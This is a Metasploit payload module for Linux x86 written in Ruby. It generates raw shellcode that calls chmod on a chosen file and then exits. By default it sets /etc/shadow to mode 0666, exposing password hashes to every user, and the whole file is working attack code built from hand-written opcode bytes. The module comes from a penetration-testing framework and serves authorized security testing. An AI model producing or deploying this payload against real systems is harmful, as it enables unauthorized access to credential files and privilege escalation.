1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
###
7
#  Linux Chmod(file, mode)
8
#
9
#  Kris Katterjohn - 03/03/2008
10
###
11
module MetasploitModule
12
  CachedSize = 36
13

14
  include Msf::Payload::Single
15
  include Msf::Payload::Linux::X86::Prepends
16

17
  def initialize(info = {})
18
    super(
19
      merge_info(
20
        info,
21
        'Name' => 'Linux Chmod',
22
        'Description' => 'Runs chmod on specified file with specified mode',
23
        'Author' => 'kris katterjohn',
24
        'License' => BSD_LICENSE,
25
        'Platform' => 'linux',
26
        'Arch' => ARCH_X86
27
      )
28
    )
29

30
    register_options(
31
      [
32
        OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
33
        OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
34
      ]
35
    )
36
  end
37

38
  # Dynamically generates chmod(FILE, MODE) + exit()
39
  def generate(_opts = {})
40
    file = datastore['FILE'] || '/etc/shadow'
41
    mode	= (datastore['MODE'] || '0666').oct
42

43
    "\x99\x6a\x0f\x58\x52" +
44
      Rex::Arch::X86.call(file.length + 1) + file + "\x00" \
45
      "\x5b" + Rex::Arch::X86.push_dword(mode) +
46
      "\x59\xcd\x80\x6a\x01\x58\xcd\x80"
47
  end
48
end
49

50